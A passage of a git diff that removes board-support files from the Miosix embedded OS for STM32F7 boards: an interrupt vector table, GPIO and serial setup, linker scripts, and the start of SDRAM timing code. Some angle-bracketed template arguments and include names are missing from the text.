__attribute__((weak)) LTDC_ER_IRQHandler(); -void __attribute__((weak)) DMA2D_IRQHandler(); -void __attribute__((weak)) SAI2_IRQHandler(); -void __attribute__((weak)) QUADSPI_IRQHandler(); -void __attribute__((weak)) LPTIM1_IRQHandler(); -void __attribute__((weak)) CEC_IRQHandler(); -void __attribute__((weak)) I2C4_EV_IRQHandler(); -void __attribute__((weak)) I2C4_ER_IRQHandler(); -void __attribute__((weak)) SPDIF_RX_IRQHandler(); - -//Stack top, defined in the linker script -extern char _main_stack_top asm("_main_stack_top"); - -//Interrupt vectors, must be placed @ address 0x00000000 -//The extern declaration is required otherwise g++ optimizes it out -extern void (* const __Vectors[])(); -void (* const __Vectors[])() __attribute__ ((section(".isr_vector"))) = -{ - reinterpret_cast(&_main_stack_top),/* Stack pointer*/ - Reset_Handler, /* Reset Handler */ - NMI_Handler, /* NMI Handler */ - HardFault_Handler, /* Hard Fault Handler */ - MemManage_Handler, /* MPU Fault Handler */ - BusFault_Handler, /* Bus Fault Handler */ - UsageFault_Handler, /* Usage Fault Handler */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - SVC_Handler, /* SVCall Handler */ - DebugMon_Handler, /* Debug Monitor Handler */ - 0, /* Reserved */ - PendSV_Handler, /* PendSV Handler */ - SysTick_Handler, /* SysTick Handler */ - - /* External Interrupts */ - WWDG_IRQHandler, - PVD_IRQHandler, - TAMP_STAMP_IRQHandler, - RTC_WKUP_IRQHandler, - FLASH_IRQHandler, - RCC_IRQHandler, - EXTI0_IRQHandler, - EXTI1_IRQHandler, - EXTI2_IRQHandler, - EXTI3_IRQHandler, - EXTI4_IRQHandler, - DMA1_Stream0_IRQHandler, - DMA1_Stream1_IRQHandler, - DMA1_Stream2_IRQHandler, - DMA1_Stream3_IRQHandler, - DMA1_Stream4_IRQHandler, - DMA1_Stream5_IRQHandler, - DMA1_Stream6_IRQHandler, - ADC_IRQHandler, - CAN1_TX_IRQHandler, - CAN1_RX0_IRQHandler, - CAN1_RX1_IRQHandler, - CAN1_SCE_IRQHandler, - EXTI9_5_IRQHandler, - TIM1_BRK_TIM9_IRQHandler, - TIM1_UP_TIM10_IRQHandler, - TIM1_TRG_COM_TIM11_IRQHandler, - TIM1_CC_IRQHandler, - TIM2_IRQHandler, - TIM3_IRQHandler, - TIM4_IRQHandler, - I2C1_EV_IRQHandler, - I2C1_ER_IRQHandler, - I2C2_EV_IRQHandler, - I2C2_ER_IRQHandler, - SPI1_IRQHandler, - SPI2_IRQHandler, - USART1_IRQHandler, - USART2_IRQHandler, - USART3_IRQHandler, - EXTI15_10_IRQHandler, - RTC_Alarm_IRQHandler, - OTG_FS_WKUP_IRQHandler, - TIM8_BRK_TIM12_IRQHandler, - TIM8_UP_TIM13_IRQHandler, - TIM8_TRG_COM_TIM14_IRQHandler, - TIM8_CC_IRQHandler, - DMA1_Stream7_IRQHandler, - FMC_IRQHandler, - SDMMC1_IRQHandler, - TIM5_IRQHandler, - SPI3_IRQHandler, - UART4_IRQHandler, - UART5_IRQHandler, - TIM6_DAC_IRQHandler, - TIM7_IRQHandler, - DMA2_Stream0_IRQHandler, - DMA2_Stream1_IRQHandler, - DMA2_Stream2_IRQHandler, - DMA2_Stream3_IRQHandler, - DMA2_Stream4_IRQHandler, - ETH_IRQHandler, - ETH_WKUP_IRQHandler, - CAN2_TX_IRQHandler, - CAN2_RX0_IRQHandler, - CAN2_RX1_IRQHandler, - CAN2_SCE_IRQHandler, - OTG_FS_IRQHandler, - DMA2_Stream5_IRQHandler, - DMA2_Stream6_IRQHandler, - DMA2_Stream7_IRQHandler, - USART6_IRQHandler, - I2C3_EV_IRQHandler, - I2C3_ER_IRQHandler, - OTG_HS_EP1_OUT_IRQHandler, - OTG_HS_EP1_IN_IRQHandler, - OTG_HS_WKUP_IRQHandler, - OTG_HS_IRQHandler, - DCMI_IRQHandler, - 0, - RNG_IRQHandler, - FPU_IRQHandler, - UART7_IRQHandler, - UART8_IRQHandler, - SPI4_IRQHandler, - SPI5_IRQHandler, - SPI6_IRQHandler, - SAI1_IRQHandler, - LTDC_IRQHandler, - LTDC_ER_IRQHandler, - DMA2D_IRQHandler, - SAI2_IRQHandler, - QUADSPI_IRQHandler, - LPTIM1_IRQHandler, - CEC_IRQHandler, - I2C4_EV_IRQHandler, - I2C4_ER_IRQHandler, - SPDIF_RX_IRQHandler, -}; - -#pragma weak SysTick_IRQHandler = Default_Handler -#pragma weak WWDG_IRQHandler = Default_Handler -#pragma weak PVD_IRQHandler = Default_Handler -#pragma weak TAMP_STAMP_IRQHandler = Default_Handler -#pragma weak RTC_WKUP_IRQHandler = Default_Handler -#pragma weak FLASH_IRQHandler = Default_Handler -#pragma weak RCC_IRQHandler = Default_Handler -#pragma weak EXTI0_IRQHandler = Default_Handler -#pragma weak EXTI1_IRQHandler = Default_Handler -#pragma weak EXTI2_IRQHandler = Default_Handler -#pragma weak EXTI3_IRQHandler = Default_Handler -#pragma weak EXTI4_IRQHandler = Default_Handler -#pragma weak DMA1_Stream0_IRQHandler = Default_Handler -#pragma weak DMA1_Stream1_IRQHandler = Default_Handler -#pragma weak DMA1_Stream2_IRQHandler = Default_Handler -#pragma weak DMA1_Stream3_IRQHandler = Default_Handler -#pragma weak DMA1_Stream4_IRQHandler = Default_Handler -#pragma weak DMA1_Stream5_IRQHandler = Default_Handler -#pragma weak DMA1_Stream6_IRQHandler = Default_Handler -#pragma weak ADC_IRQHandler = Default_Handler -#pragma weak CAN1_TX_IRQHandler = Default_Handler -#pragma weak CAN1_RX0_IRQHandler = Default_Handler -#pragma weak CAN1_RX1_IRQHandler = Default_Handler -#pragma weak CAN1_SCE_IRQHandler = Default_Handler -#pragma weak EXTI9_5_IRQHandler = Default_Handler -#pragma weak TIM1_BRK_TIM9_IRQHandler = Default_Handler -#pragma weak TIM1_UP_TIM10_IRQHandler = Default_Handler -#pragma weak TIM1_TRG_COM_TIM11_IRQHandler = Default_Handler -#pragma weak TIM1_CC_IRQHandler = Default_Handler -#pragma weak TIM2_IRQHandler = Default_Handler -#pragma weak TIM3_IRQHandler = Default_Handler -#pragma weak TIM4_IRQHandler = Default_Handler -#pragma weak I2C1_EV_IRQHandler = Default_Handler -#pragma weak I2C1_ER_IRQHandler = Default_Handler -#pragma weak I2C2_EV_IRQHandler = Default_Handler -#pragma weak I2C2_ER_IRQHandler = Default_Handler -#pragma weak SPI1_IRQHandler = Default_Handler -#pragma weak SPI2_IRQHandler = Default_Handler -#pragma weak USART1_IRQHandler = Default_Handler -#pragma weak USART2_IRQHandler = Default_Handler -#pragma weak USART3_IRQHandler = Default_Handler -#pragma weak EXTI15_10_IRQHandler = Default_Handler -#pragma weak RTC_Alarm_IRQHandler = Default_Handler -#pragma weak OTG_FS_WKUP_IRQHandler = Default_Handler -#pragma weak TIM8_BRK_TIM12_IRQHandler = Default_Handler -#pragma weak TIM8_UP_TIM13_IRQHandler = Default_Handler -#pragma weak TIM8_TRG_COM_TIM14_IRQHandler = Default_Handler -#pragma weak TIM8_CC_IRQHandler = Default_Handler -#pragma weak DMA1_Stream7_IRQHandler = Default_Handler -#pragma weak FMC_IRQHandler = Default_Handler -#pragma weak SDMMC1_IRQHandler = Default_Handler -#pragma weak TIM5_IRQHandler = Default_Handler -#pragma weak SPI3_IRQHandler = Default_Handler -#pragma weak UART4_IRQHandler = Default_Handler -#pragma weak UART5_IRQHandler = Default_Handler -#pragma weak TIM6_DAC_IRQHandler = Default_Handler -#pragma weak TIM7_IRQHandler = Default_Handler -#pragma weak DMA2_Stream0_IRQHandler = Default_Handler -#pragma weak DMA2_Stream1_IRQHandler = Default_Handler -#pragma weak DMA2_Stream2_IRQHandler = Default_Handler -#pragma weak DMA2_Stream3_IRQHandler = Default_Handler -#pragma weak DMA2_Stream4_IRQHandler = Default_Handler -#pragma weak ETH_IRQHandler = Default_Handler -#pragma weak ETH_WKUP_IRQHandler = Default_Handler -#pragma weak CAN2_TX_IRQHandler = Default_Handler -#pragma weak CAN2_RX0_IRQHandler = Default_Handler -#pragma weak CAN2_RX1_IRQHandler = Default_Handler -#pragma weak CAN2_SCE_IRQHandler = Default_Handler -#pragma weak OTG_FS_IRQHandler = Default_Handler -#pragma weak DMA2_Stream5_IRQHandler = Default_Handler -#pragma weak DMA2_Stream6_IRQHandler = Default_Handler -#pragma weak DMA2_Stream7_IRQHandler = Default_Handler -#pragma weak USART6_IRQHandler = Default_Handler -#pragma weak I2C3_EV_IRQHandler = Default_Handler -#pragma weak I2C3_ER_IRQHandler = Default_Handler -#pragma weak OTG_HS_EP1_OUT_IRQHandler = Default_Handler -#pragma weak OTG_HS_EP1_IN_IRQHandler = Default_Handler -#pragma weak OTG_HS_WKUP_IRQHandler = Default_Handler -#pragma weak OTG_HS_IRQHandler = Default_Handler -#pragma weak DCMI_IRQHandler = Default_Handler -#pragma weak RNG_IRQHandler = Default_Handler -#pragma weak FPU_IRQHandler = Default_Handler -#pragma weak UART7_IRQHandler = Default_Handler -#pragma weak UART8_IRQHandler = Default_Handler -#pragma weak SPI4_IRQHandler = Default_Handler -#pragma weak SPI5_IRQHandler = Default_Handler -#pragma weak SPI6_IRQHandler = Default_Handler -#pragma weak SAI1_IRQHandler = Default_Handler -#pragma weak LTDC_IRQHandler = Default_Handler -#pragma weak LTDC_ER_IRQHandler = Default_Handler -#pragma weak DMA2D_IRQHandler = Default_Handler -#pragma weak SAI2_IRQHandler = Default_Handler -#pragma weak QUADSPI_IRQHandler = Default_Handler -#pragma weak LPTIM1_IRQHandler = Default_Handler -#pragma weak CEC_IRQHandler = Default_Handler -#pragma weak I2C4_EV_IRQHandler = Default_Handler -#pragma weak I2C4_ER_IRQHandler = Default_Handler -#pragma weak SPDIF_RX_IRQHandler = Default_Handler diff --git a/miosix/arch/cortexM7_stm32f7/stm32f746zg_nucleo/interfaces-impl/arch_registers_impl.h b/miosix/arch/cortexM7_stm32f7/stm32f746zg_nucleo/interfaces-impl/arch_registers_impl.h deleted file mode 100644 index 192d82954..000000000 --- a/miosix/arch/cortexM7_stm32f7/stm32f746zg_nucleo/interfaces-impl/arch_registers_impl.h +++ /dev/null @@ -1,18 +0,0 @@ - -#ifndef ARCH_REGISTERS_IMPL_H -#define ARCH_REGISTERS_IMPL_H - -//stm32f7xx.h defines a few macros like __ICACHE_PRESENT, __DCACHE_PRESENT and -//includes core_cm7.h. Do not include core_cm7.h before. -#define STM32F746xx -#include "CMSIS/Device/ST/STM32F7xx/Include/stm32f7xx.h" - -#if (__ICACHE_PRESENT != 1) || (__DCACHE_PRESENT != 1) -#error "Wrong include order" -#endif - -#include "CMSIS/Device/ST/STM32F7xx/Include/system_stm32f7xx.h" - -#define RCC_SYNC() __DSB() //TODO: can this dsb be removed? - -#endif //ARCH_REGISTERS_IMPL_H diff --git a/miosix/arch/cortexM7_stm32f7/stm32f746zg_nucleo/interfaces-impl/bsp.cpp b/miosix/arch/cortexM7_stm32f7/stm32f746zg_nucleo/interfaces-impl/bsp.cpp deleted file mode 100644 index f51613564..000000000 --- a/miosix/arch/cortexM7_stm32f7/stm32f746zg_nucleo/interfaces-impl/bsp.cpp +++ /dev/null @@ -1,124 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2018 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** - * bsp.cpp Part of the Miosix Embedded OS. - * Board support package, this file initializes hardware. - ************************************************************************/ - -#include "interfaces/bsp.h" - -#include -#include - -#include - -#include "board_settings.h" -#include "config/miosix_settings.h" -#include "drivers/sd_stm32f2_f4_f7.h" -#include "drivers/serial.h" -#include "filesystem/console/console_device.h" -#include "filesystem/file_access.h" -#include "interfaces/arch_registers.h" -#include "interfaces/delays.h" -#include "interfaces/portability.h" -#include "kernel/kernel.h" -#include "kernel/logging.h" -#include "kernel/sync.h" - -namespace miosix { - -// -// Initialization -// - -void IRQbspInit() -{ - //Enable all gpios - RCC->AHB1ENR |= RCC_AHB1ENR_GPIOAEN | RCC_AHB1ENR_GPIOBEN | - RCC_AHB1ENR_GPIOCEN | RCC_AHB1ENR_GPIODEN | - RCC_AHB1ENR_GPIOEEN | RCC_AHB1ENR_GPIOFEN | - RCC_AHB1ENR_GPIOHEN; - RCC_SYNC(); - GPIOA->OSPEEDR=0xaaaaaaaa; //Default to 50MHz speed for all GPIOS - GPIOB->OSPEEDR=0xaaaaaaaa; - GPIOC->OSPEEDR=0xaaaaaaaa; - GPIOD->OSPEEDR=0xaaaaaaaa; - GPIOE->OSPEEDR=0xaaaaaaaa; - GPIOF->OSPEEDR=0xaaaaaaaa; - GPIOH->OSPEEDR=0xaaaaaaaa; - - userLed1::mode(Mode::OUTPUT); - userLed2::mode(Mode::OUTPUT); - userLed3::mode(Mode::OUTPUT); - userBtn::mode(Mode::INPUT); - - ledOn(); - delayMs(100); - ledOff(); - auto tx=Gpio::getPin(); tx.alternateFunction(7); - auto rx=Gpio::getPin(); rx.alternateFunction(7); - DefaultConsole::instance().IRQset(intrusive_ref_ptr( - new STM32Serial(3,defaultSerialSpeed,tx,rx))); -} - -void bspInit2() -{ - #ifdef WITH_FILESYSTEM - basicFilesystemSetup(SDIODriver::instance()); - #endif //WITH_FILESYSTEM -} - -// -// Shutdown and reboot -// - -void shutdown() -{ - ioctl(STDOUT_FILENO,IOCTL_SYNC,0); - - #ifdef WITH_FILESYSTEM - FilesystemManager::instance().umountAll(); - #endif //WITH_FILESYSTEM - - disableInterrupts(); - for(;;) ; -} - -void reboot() -{ - ioctl(STDOUT_FILENO,IOCTL_SYNC,0); - - #ifdef WITH_FILESYSTEM - FilesystemManager::instance().umountAll(); - #endif //WITH_FILESYSTEM - - disableInterrupts(); - miosix_private::IRQsystemReboot(); -} - -} //namespace miosix diff --git a/miosix/arch/cortexM7_stm32f7/stm32f746zg_nucleo/interfaces-impl/bsp_impl.h b/miosix/arch/cortexM7_stm32f7/stm32f746zg_nucleo/interfaces-impl/bsp_impl.h deleted file mode 100644 index 42e9f5968..000000000 --- a/miosix/arch/cortexM7_stm32f7/stm32f746zg_nucleo/interfaces-impl/bsp_impl.h +++ /dev/null @@ -1,99 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2018 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** -* bsp_impl.h Part of the Miosix Embedded OS. -* Board support package, this file initializes hardware. -************************************************************************/ - -#ifndef BSP_IMPL_H -#define BSP_IMPL_H - -#include "config/miosix_settings.h" -#include "interfaces/gpio.h" - -namespace miosix { - -/** -\addtogroup Hardware -\{ -*/ - -/** - * \internal - * Board pin definition - */ -typedef Gpio userLed1; -typedef Gpio userLed2; -typedef Gpio userLed3; -typedef Gpio userBtn; - -inline void ledOn() -{ - userLed1::high(); - userLed2::high(); - userLed3::high(); -} - -inline void ledOff() -{ - userLed1::low(); - userLed2::low(); - userLed3::low(); -} - -inline void led1On() { userLed1::high(); } - -inline void led1Off() { userLed1::low(); } - -inline void led2On() { userLed2::high(); } - -inline void led2Off() { userLed2::low(); } - -inline void led3On() { userLed3::high(); } - -inline void led3Off() { userLed3::low(); } - -/** - * Polls the SD card sense GPIO. - * - * This board has no SD card whatsoever, but a card can be connected to the - * following GPIOs: - * TODO: never tested - * - * \return true. As there's no SD card sense switch, let's pretend that - * the card is present. - */ -inline bool sdCardSense() { return true; } - -/** -\} -*/ - -} //namespace miosix - -#endif //BSP_IMPL_H diff --git a/miosix/arch/cortexM7_stm32f7/stm32f746zg_nucleo/stm32_1m+256k_rom.ld b/miosix/arch/cortexM7_stm32f7/stm32f746zg_nucleo/stm32_1m+256k_rom.ld deleted file mode 100644 index 55cf3d583..000000000 --- a/miosix/arch/cortexM7_stm32f7/stm32f746zg_nucleo/stm32_1m+256k_rom.ld +++ /dev/null @@ -1,180 +0,0 @@ -/* - * C++ enabled linker script for stm32f746zg (1M FLASH, 256K RAM) - * Developed by TFT: Terraneo Federico Technologies - * Optimized for use with the Miosix kernel - */ - -/* - * This linker script puts: - * - read only data and code (.text, .rodata, .eh_*) in FLASH - * - the 512Byte main (IRQ) stack, .data and .bss in the DTCM 64KB RAM - * - .data, .bss, stacks and heap in the internal RAM. - */ - -/* - * The main stack is used for interrupt handling by the kernel. - * - * *** Readme *** - * This linker script places the main stack (used by the kernel for interrupts) - * at the bottom of the ram, instead of the top. This is done for two reasons: - * - * - as an optimization for microcontrollers with little ram memory. In fact - * the implementation of malloc from newlib requests memory to the OS in 4KB - * block (except the first block that can be smaller). This is probably done - * for compatibility with OSes with an MMU and paged memory. To see why this - * is bad, consider a microcontroller with 8KB of ram: when malloc finishes - * up the first 4KB it will call _sbrk_r asking for a 4KB block, but this will - * fail because the top part of the ram is used by the main stack. As a - * result, the top part of the memory will not be used by malloc, even if - * available (and it is nearly *half* the ram on an 8KB mcu). By placing the - * main stack at the bottom of the ram, the upper 4KB block will be entirely - * free and available as heap space. - * - * - In case of main stack overflow the cpu will fault because access to memory - * before the beginning of the ram faults. Instead with the default stack - * placement the main stack will silently collide with the heap. - * Note: if increasing the main stack size also increase the ORIGIN value in - * the MEMORY definitions below accordingly. - */ - -_main_stack_size = 512; /* main stack = 512Bytes */ -_main_stack_top = 0x20000000 + _main_stack_size; -ASSERT(_main_stack_size % 8 == 0, "MAIN stack size error"); - -/* Mapping the heap to the end of SRAM2 */ -_heap_end = 0x20000000 + 320K; /* end of available ram */ - -/* Identify the Entry Point */ -ENTRY(_Z13Reset_Handlerv) - -/* - * Specify the memory areas - * - * NOTE: starting at 0x20000000 there's 64KB of DTCM (Data Tightly Coupled - * Memory). Technically, we could use this as normal RAM as there's a way for - * the DMA to access it, but the datasheet is unclear about performance - * penalties for doing so. To avoid nonuniform DMA memory access latencies, - * we leave this 64KB DTCM unused except for the first 512Bytes which are for - * the interrupt stack. This leaves us with 256KB of RAM - * TODO: in the processes linker script the entire kernel was moved in the - * dtcm and it worked, maybe reconsider using the dtcm someday - */ -MEMORY -{ - sram(wx) : ORIGIN = 0x20010000, LENGTH = 256K - dtcm(wx) : ORIGIN = 0x20000000, LENGTH = 64K /* Used for main stack */ - flash(rx) : ORIGIN = 0x08000000, LENGTH = 1M -} - -/* Now define the output sections */ -SECTIONS -{ - . = 0; - - /* .text section: code goes to flash */ - .text : - { - /* Startup code must go at address 0 */ - KEEP(*(.isr_vector)) - - *(.text) - *(.text.*) - *(.gnu.linkonce.t.*) - /* These sections for thumb interwork? */ - *(.glue_7) - *(.glue_7t) - /* These sections for C++? */ - *(.gcc_except_table) - *(.gcc_except_table.*) - *(.ARM.extab*) - *(.gnu.linkonce.armextab.*) - - . = ALIGN(4); - /* .rodata: constant data */ - *(.rodata) - *(.rodata.*) - *(.gnu.linkonce.r.*) - - /* C++ Static constructors/destructors (eabi) */ - . = ALIGN(4); - KEEP(*(.init)) - - . = ALIGN(4); - __miosix_init_array_start = .; - KEEP (*(SORT(.miosix_init_array.*))) - KEEP (*(.miosix_init_array)) - __miosix_init_array_end = .; - - . = ALIGN(4); - __preinit_array_start = .; - KEEP (*(.preinit_array)) - __preinit_array_end = .; - - . = ALIGN(4); - __init_array_start = .; - KEEP (*(SORT(.init_array.*))) - KEEP (*(.init_array)) - __init_array_end = .; - - . = ALIGN(4); - KEEP(*(.fini)) - - . = ALIGN(4); - __fini_array_start = .; - KEEP (*(.fini_array)) - KEEP (*(SORT(.fini_array.*))) - __fini_array_end = .; - - /* C++ Static constructors/destructors (elf) */ - . = ALIGN(4); - _ctor_start = .; - KEEP (*crtbegin.o(.ctors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) - KEEP (*(SORT(.ctors.*))) - KEEP (*crtend.o(.ctors)) - _ctor_end = .; - - . = ALIGN(4); - KEEP (*crtbegin.o(.dtors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) - KEEP (*(SORT(.dtors.*))) - KEEP (*crtend.o(.dtors)) - } > flash - - /* .ARM.exidx is sorted, so has to go in its own output section. */ - __exidx_start = .; - .ARM.exidx : - { - *(.ARM.exidx* .gnu.linkonce.armexidx.*) - } > flash - __exidx_end = .; - - /* - * .data section: global variables go to sram, but also store a copy to - * flash to initialize them - */ - .data : ALIGN(8) - { - _data = .; - *(.data) - *(.data.*) - *(.gnu.linkonce.d.*) - . = ALIGN(8); - _edata = .; - } > sram AT > flash - _etext = LOADADDR(.data); - - /* .bss section: uninitialized global variables go to sram */ - _bss_start = .; - .bss : - { - *(.bss) - *(.bss.*) - *(.gnu.linkonce.b.*) - . = ALIGN(8); - } > sram - _bss_end = .; - - _end = .; - PROVIDE(end = .); -} diff --git a/miosix/arch/cortexM7_stm32f7/stm32f746zg_nucleo/stm32_1m+320k_rom_processes.ld b/miosix/arch/cortexM7_stm32f7/stm32f746zg_nucleo/stm32_1m+320k_rom_processes.ld deleted file mode 100644 index 23935a994..000000000 --- a/miosix/arch/cortexM7_stm32f7/stm32f746zg_nucleo/stm32_1m+320k_rom_processes.ld +++ /dev/null @@ -1,179 +0,0 @@ -/* - * C++ enabled linker script for stm32f746zg (1M FLASH, 256K RAM) - * Developed by TFT: Terraneo Federico Technologies - * Optimized for use with the Miosix kernel - */ - -/* - * This linker script puts: - * - read only data and code (.text, .rodata, .eh_*) in FLASH - * - the 512Byte main (IRQ) stack, .data and .bss in the DTCM 64KB RAM - * - .data, .bss, stacks and heap in the internal RAM. - */ - -/* - * The main stack is used for interrupt handling by the kernel. - * - * *** Readme *** - * This linker script places the main stack (used by the kernel for interrupts) - * at the bottom of the ram, instead of the top. This is done for two reasons: - * - * - as an optimization for microcontrollers with little ram memory. In fact - * the implementation of malloc from newlib requests memory to the OS in 4KB - * block (except the first block that can be smaller). This is probably done - * for compatibility with OSes with an MMU and paged memory. To see why this - * is bad, consider a microcontroller with 8KB of ram: when malloc finishes - * up the first 4KB it will call _sbrk_r asking for a 4KB block, but this will - * fail because the top part of the ram is used by the main stack. As a - * result, the top part of the memory will not be used by malloc, even if - * available (and it is nearly *half* the ram on an 8KB mcu). By placing the - * main stack at the bottom of the ram, the upper 4KB block will be entirely - * free and available as heap space. - * - * - In case of main stack overflow the cpu will fault because access to memory - * before the beginning of the ram faults. Instead with the default stack - * placement the main stack will silently collide with the heap. - * Note: if increasing the main stack size also increase the ORIGIN value in - * the MEMORY definitions below accordingly. - */ - -_main_stack_size = 512; /* main stack = 512Bytes */ -_main_stack_top = 0x20000000 + _main_stack_size; -ASSERT(_main_stack_size % 8 == 0, "MAIN stack size error"); - -/* Mapping the heap to the dtcm */ -_heap_end = 0x20000000 + 64K; -/* Mapping the process pool into the upper 96KB of the RAM */ -_process_pool_start = _heap_end; -_process_pool_end = 0x20000000 + 320K; /* end of available ram */ - -/* Identify the Entry Point */ -ENTRY(_Z13Reset_Handlerv) - -/* - * Specify the memory areas - * - * NOTE: starting at 0x20000000 there's 64KB of DTCM (Data Tightly Coupled - * Memory). We use this to store the kernel as there's a way for the DMA to - * access it, even though the datasheet is unclear about performance - * penalties for doing so. This leaves us with 256KB of RAM for the process pool - */ -MEMORY -{ - sram(wx) : ORIGIN = 0x20010000, LENGTH = 256K - dtcm(wx) : ORIGIN = 0x20000200, LENGTH = 64K-0x200 - flash(rx) : ORIGIN = 0x08000000, LENGTH = 1M -} - -/* Now define the output sections */ -SECTIONS -{ - . = 0; - - /* .text section: code goes to flash */ - .text : - { - /* Startup code must go at address 0 */ - KEEP(*(.isr_vector)) - - *(.text) - *(.text.*) - *(.gnu.linkonce.t.*) - /* These sections for thumb interwork? */ - *(.glue_7) - *(.glue_7t) - /* These sections for C++? */ - *(.gcc_except_table) - *(.gcc_except_table.*) - *(.ARM.extab*) - *(.gnu.linkonce.armextab.*) - - . = ALIGN(4); - /* .rodata: constant data */ - *(.rodata) - *(.rodata.*) - *(.gnu.linkonce.r.*) - - /* C++ Static constructors/destructors (eabi) */ - . = ALIGN(4); - KEEP(*(.init)) - - . = ALIGN(4); - __miosix_init_array_start = .; - KEEP (*(SORT(.miosix_init_array.*))) - KEEP (*(.miosix_init_array)) - __miosix_init_array_end = .; - - . = ALIGN(4); - __preinit_array_start = .; - KEEP (*(.preinit_array)) - __preinit_array_end = .; - - . = ALIGN(4); - __init_array_start = .; - KEEP (*(SORT(.init_array.*))) - KEEP (*(.init_array)) - __init_array_end = .; - - . = ALIGN(4); - KEEP(*(.fini)) - - . = ALIGN(4); - __fini_array_start = .; - KEEP (*(.fini_array)) - KEEP (*(SORT(.fini_array.*))) - __fini_array_end = .; - - /* C++ Static constructors/destructors (elf) */ - . = ALIGN(4); - _ctor_start = .; - KEEP (*crtbegin.o(.ctors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) - KEEP (*(SORT(.ctors.*))) - KEEP (*crtend.o(.ctors)) - _ctor_end = .; - - . = ALIGN(4); - KEEP (*crtbegin.o(.dtors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) - KEEP (*(SORT(.dtors.*))) - KEEP (*crtend.o(.dtors)) - } > flash - - /* .ARM.exidx is sorted, so has to go in its own output section. */ - __exidx_start = .; - .ARM.exidx : - { - *(.ARM.exidx* .gnu.linkonce.armexidx.*) - } > flash - __exidx_end = .; - - /* - * .data section: global variables go to sram, but also store a copy to - * flash to initialize them - */ - .data : ALIGN(8) - { - _data = .; - *(.data) - *(.data.*) - *(.gnu.linkonce.d.*) - . = ALIGN(8); - _edata = .; - } > dtcm AT > flash - _etext = LOADADDR(.data); - - /* .bss section: uninitialized global variables go to sram */ - _bss_start = .; - .bss : - { - *(.bss) - *(.bss.*) - *(.gnu.linkonce.b.*) - . = ALIGN(8); - } > dtcm - _bss_end = .; - - _end = .; - PROVIDE(end = .); -} diff --git a/miosix/arch/cortexM7_stm32f7/stm32f765ii_marco_ram_board/core/stage_1_boot.cpp b/miosix/arch/cortexM7_stm32f7/stm32f765ii_marco_ram_board/core/stage_1_boot.cpp deleted file mode 100644 index 6a4be5e5f..000000000 --- a/miosix/arch/cortexM7_stm32f7/stm32f765ii_marco_ram_board/core/stage_1_boot.cpp +++ /dev/null @@ -1,644 +0,0 @@ -#include -#include -#include - -#include "core/cache_cortexMx.h" -#include "core/interrupts.h" //For the unexpected interrupt call -#include "core/interrupts_cortexMx.h" -#include "interfaces/arch_registers.h" -#include "interfaces/bsp.h" -#include "kernel/stage_2_boot.h" -#include "interfaces/delays.h" - -/* - * startup.cpp - * STM32 C++ startup. - * NOTE: for stm32f767 devices ONLY. - * Supports interrupt handlers in C++ without extern "C" - * Developed by Terraneo Federico, based on ST startup code. - * Additionally modified to boot Miosix. - */ - -enum SDRAMModeReg { - BurstLenPos = 0, - BurstLenMask = 7< -static constexpr uint32_t sdramSDTR() noexcept -{ - #ifdef SYSCLK_FREQ_216MHz - constexpr float hclk_mhz = 216; - #else - #error "Unknown clock frequency" - #endif - constexpr float t_ns = 1000.0f / (hclk_mhz / (float)div); - constexpr int sdtr_trcd = std::ceil((float)t_rcd_ns / t_ns) - 1; - static_assert(0 <= sdtr_trcd && sdtr_trcd <= 15); - constexpr int sdtr_trp = std::ceil((float)t_rp_ns / t_ns) - 1; - static_assert(0 <= sdtr_trp && sdtr_trp <= 15); - constexpr int sdtr_twr = std::ceil((float)t_wr_ns / t_ns) - 1; - static_assert(0 <= sdtr_twr && sdtr_twr <= 15); - constexpr int sdtr_trc = std::ceil((float)t_rc_ns / t_ns) - 1; - static_assert(0 <= sdtr_trc && sdtr_trc <= 15); - constexpr int sdtr_tras = std::ceil((float)t_ras_ns / t_ns) - 1; - static_assert(0 <= sdtr_tras && sdtr_tras <= 15); - constexpr int sdtr_txsr = std::ceil((float)t_xsr_ns / t_ns) - 1; - static_assert(0 <= sdtr_txsr && sdtr_txsr <= 15); - constexpr int sdtr_tmrd = std::ceil((float)t_mrd_ns / t_ns) - 1; - static_assert(0 <= sdtr_tmrd && sdtr_tmrd <= 15); - return sdtr_trcd << FMC_SDTR1_TRCD_Pos - | sdtr_trp << FMC_SDTR1_TRP_Pos - | sdtr_twr << FMC_SDTR1_TWR_Pos - | sdtr_trc << FMC_SDTR1_TRC_Pos - | sdtr_tras << FMC_SDTR1_TRAS_Pos - | sdtr_txsr << FMC_SDTR1_TXSR_Pos - | sdtr_tmrd << 